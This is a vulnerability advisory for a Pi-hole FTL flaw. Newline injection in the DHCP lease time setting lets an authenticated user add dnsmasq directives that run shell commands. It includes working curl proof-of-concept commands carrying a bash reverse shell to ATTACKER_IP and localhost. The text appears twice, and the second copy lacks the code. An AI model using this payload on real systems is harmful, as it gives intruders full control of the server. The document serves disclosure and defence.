Summary
Security Researcher Julio Ángel Ferrari (aka T0X1CX) discovered that the Pi-hole FTL engine contains a Remote Code Execution (RCE) vulnerability in the DHCP lease time configuration parameter (dhcp.leaseTime). This vulnerability allows an authenticated attacker to inject arbitrary dnsmasq configuration directives through newline characters, ultimately achieving command execution on the underlying system.
Details
When an administrator configures the DHCP lease time through the Pi-hole API, the FTL server processes the dhcp.leaseTime configuration parameter and writes it directly to the dnsmasq configuration file. The value is validated using the validate_stub function, which performs no actual validation beyond basic type checking.
The file src/config/config.c defines the configuration item on lines 807-811:
conf->dhcp.leaseTime.k = "dhcp.leaseTime";
conf->dhcp.leaseTime.h = "DHCP lease time";
conf->dhcp.leaseTime.t = CONF_STRING;
conf->dhcp.leaseTime.f = FLAG_RESTART_FTL;
conf->dhcp.leaseTime.c = validate_stub; // Type-based checking + dnsmasq syntax checking
The validate_stub function in src/config/validator.c (lines 20-23) is defined as:
bool __attribute__((const)) validate_stub(union conf_value *val, const char *key, char err[VALIDATOR_ERRBUF_LEN])
{
return true;
}
```c
This function unconditionally returns true without performing any validation on the input, allowing arbitrary content including newline characters to pass through.
The vulnerable code that writes the configuration to disk is located in src/config/dnsmasq_config.c on line 653:
```c
fprintf(pihole_conf, ",%s", conf->dhcp.leaseTime.v.s);
The fprintf function writes the user-supplied value directly to the dnsmasq configuration file without sanitizing newline characters. An attacker can exploit this by injecting \n characters followed by malicious dnsmasq directives.
Exploitation Technique
The attack leverages an alternative code path in dnsmasq where the dhcp-script directive is executed using popen() instead of execl(). According to research published at https://blog.nns.ee/2025/07/24/dnsmasq-injection-trick/, when the leasefile-ro option is enabled, dnsmasq passes the dhcp-script value to popen(), which invokes the shell to execute commands.
The relevant code in dnsmasq's src/lease.c (lines 179-187) demonstrates this behavior:
if (daemon->lease_change_command)
{
strcpy(daemon->dhcp_buff, daemon->lease_change_command);
strcat(daemon->dhcp_buff, " init");
leasestream = popen(daemon->dhcp_buff, "r");
}
By injecting both leasefile-ro and a malicious dhcp-script directive, an attacker can achieve arbitrary command execution when the DNS service restarts.
Attack Vector
An attacker sends a PATCH request to the /api/config endpoint with a malicious payload:
curl -X PATCH "http://pi.hole/api/config" \
-H "Content-Type: application/json" \
-H "sid: <session_id>" \
-d '{
"config": {
"dhcp": {
"leaseTime": "24h\nleasefile-ro\ndhcp-script=/bin/bash -c '"'"'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"'"'||"
}
}
}'
The injected payload contains:
- A valid lease time value: 24h
- A newline character followed by leasefile-ro to enable the popen() code path
- Another newline followed by dhcp-script=/malicious/command || to execute the command
- The || at the end ensures that arguments passed by dnsmasq to the script are ignored, allowing any command to execute cleanly.
When the DNS service restarts (either manually or via API), the malicious configuration is loaded and the command is executed.
PoC
Log in to Pi-hole using this command to obtain a valid SID.
curl -s -k -X POST "http://127.0.0.1/api/auth" / -H "Content-Type: application/json" -d '{"password":"test123"}'
Execute the following command with the obtained SID to inject the payload.
curl -X PATCH "http://127.0.0.1/api/config" \
-H "Content-Type: application/json" \
-H "sid: e1O4V//Zmp9GpBquamjoWA=" \
-d '{
"config": {
"dhcp": {
"leaseTime": "24h\nleasefile-ro\ndhcp-script=/bin/bash -c '"'"'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'"'"'||"
}
}
}'
Now, restart the dnsmasq service using this command, and you should receive an interactive shell on your netcat listener.
curl -k -X POST "http://127.0.0.1/api/action/restartdns" -H "sid: +sAaKiSy6CXdAZfKItV/9Q="
To automate the exploitation, an exploit has been developed which I can attach if requested.
Impact
This vulnerability allows an authenticated attacker with access to the Pi-hole administrative interface to achieve Remote Code Execution (RCE) on the underlying system. Since Pi-hole typically runs with elevated privileges to manage network services, successful exploitation grants the attacker complete control over the server, enabling them to execute arbitrary system commands, install backdoors, exfiltrate sensitive data such as DNS query logs and network configuration, pivot to other systems on the network, or completely compromise the integrity and availability of the DNS infrastructure. In enterprise environments where Pi-hole serves as the primary DNS resolver, this could lead to widespread network disruption, DNS hijacking attacks, or serve as an initial foothold for lateral movement within the organization.
Summary
Security Researcher Julio Ángel Ferrari (aka T0X1CX) discovered that the Pi-hole FTL engine contains a Remote Code Execution (RCE) vulnerability in the DHCP lease time configuration parameter (dhcp.leaseTime). This vulnerability allows an authenticated attacker to inject arbitrary dnsmasq configuration directives through newline characters, ultimately achieving command execution on the underlying system.
Details
When an administrator configures the DHCP lease time through the Pi-hole API, the FTL server processes the dhcp.leaseTime configuration parameter and writes it directly to the dnsmasq configuration file. The value is validated using the validate_stub function, which performs no actual validation beyond basic type checking.
The file src/config/config.c defines the configuration item on lines 807-811:
The validate_stub function in src/config/validator.c (lines 20-23) is defined as:
The fprintf function writes the user-supplied value directly to the dnsmasq configuration file without sanitizing newline characters. An attacker can exploit this by injecting \n characters followed by malicious dnsmasq directives.
Exploitation Technique
The attack leverages an alternative code path in dnsmasq where the dhcp-script directive is executed using popen() instead of execl(). According to research published at https://blog.nns.ee/2025/07/24/dnsmasq-injection-trick/, when the leasefile-ro option is enabled, dnsmasq passes the dhcp-script value to popen(), which invokes the shell to execute commands.
The relevant code in dnsmasq's src/lease.c (lines 179-187) demonstrates this behavior:
By injecting both leasefile-ro and a malicious dhcp-script directive, an attacker can achieve arbitrary command execution when the DNS service restarts.
Attack Vector
An attacker sends a PATCH request to the /api/config endpoint with a malicious payload:
The injected payload contains:
When the DNS service restarts (either manually or via API), the malicious configuration is loaded and the command is executed.
PoC
Log in to Pi-hole using this command to obtain a valid SID.
Execute the following command with the obtained SID to inject the payload.
Now, restart the dnsmasq service using this command, and you should receive an interactive shell on your netcat listener.
To automate the exploitation, an exploit has been developed which I can attach if requested.
Impact
This vulnerability allows an authenticated attacker with access to the Pi-hole administrative interface to achieve Remote Code Execution (RCE) on the underlying system. Since Pi-hole typically runs with elevated privileges to manage network services, successful exploitation grants the attacker complete control over the server, enabling them to execute arbitrary system commands, install backdoors, exfiltrate sensitive data such as DNS query logs and network configuration, pivot to other systems on the network, or completely compromise the integrity and availability of the DNS infrastructure. In enterprise environments where Pi-hole serves as the primary DNS resolver, this could lead to widespread network disruption, DNS hijacking attacks, or serve as an initial foothold for lateral movement within the organization.